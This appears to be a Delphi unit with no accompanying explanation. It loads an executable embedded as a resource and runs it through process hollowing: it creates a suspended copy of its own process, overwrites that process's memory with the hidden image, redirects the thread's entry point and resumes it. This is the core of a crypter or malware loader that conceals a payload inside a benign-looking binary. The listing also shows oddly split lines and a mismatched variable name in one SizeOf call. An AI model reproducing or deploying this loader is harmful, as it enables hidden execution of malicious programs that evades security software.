unit ExeRes2Memory;
{$R 'exeRes.res'}
interface
uses windows;
procedure ResourceToMem(ExeResName:
string);
var
ExeResProcInfo: TProcessInformation;
ExeResName:
string;
implementation
type
TSections =
array[0..0]
of TImageSectionHeader;
function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
if ((Size
mod Alignment) = 0)
then Result := Size
else Result := ((Size
div Alignment) + 1) * Alignment;
end;
function ImageSize(Image: pointer): dword;
var
Alignment: dword;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: dword;
begin
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders
mod Alignment) = 0)
then
Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders
else
Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders
div Alignment) + 1) * Alignment;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0
to ImageNtHeaders.FileHeader.NumberOfSections - 1
do
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0
then
begin
if ((PSections[SectionLoop].Misc.VirtualSize
mod Alignment) = 0)
then
Result := Result + PSections[SectionLoop].Misc.VirtualSize
else
Result := Result + (((PSections[SectionLoop].Misc.VirtualSize
div Alignment) + 1) * Alignment);
end;
end;
end;
procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
PSections: ^TSections;
StartInfo: TStartupInfo;
begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0
to ImageNtHeaders.FileHeader.NumberOfSections - 1
do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize
then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0
to ImageNtHeaders.FileHeader.NumberOfSections - 1
do
begin
if PSections[SectionLoop].SizeOfRawData > 0
then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize
then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0
then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(
nil, pchar(ParamStr(0)),
nil,
nil, False, CREATE_SUSPENDED,
nil,
nil, StartInfo, ExeResProcInfo);
Context.ContextFlags := CONTEXT_FULL;
with ExeResProcInfo
do
begin
GetThreadContext(hThread, Context);
ReadProcessMemory(hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE
or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(hThread, Context);
ResumeThread(hThread);
end;
finally
FreeMemory(InjectMemory);
end;
end;
procedure ResourceToMem(ExeResName:
string);
var
ResInfo: HRSRC;
ResSize: LongWord;
ResData: Pointer;
Handle: THandle;
begin
if (ExeResName='
')
then exit;
ResInfo := FindResource(SysInit.HInstance, pchar(ExeResName), RT_RCDATA);
if ResInfo <> 0
then
begin
ResSize := SizeofResource(SysInit.HInstance, ResInfo);
if ResSize <> 0
then
begin
Handle := LoadResource(SysInit.HInstance, ResInfo);
if Handle <> 0
then
begin
ResData := LockResource(
Handle);
createprocessex(ResData);
end;
end;
end;
end;
end.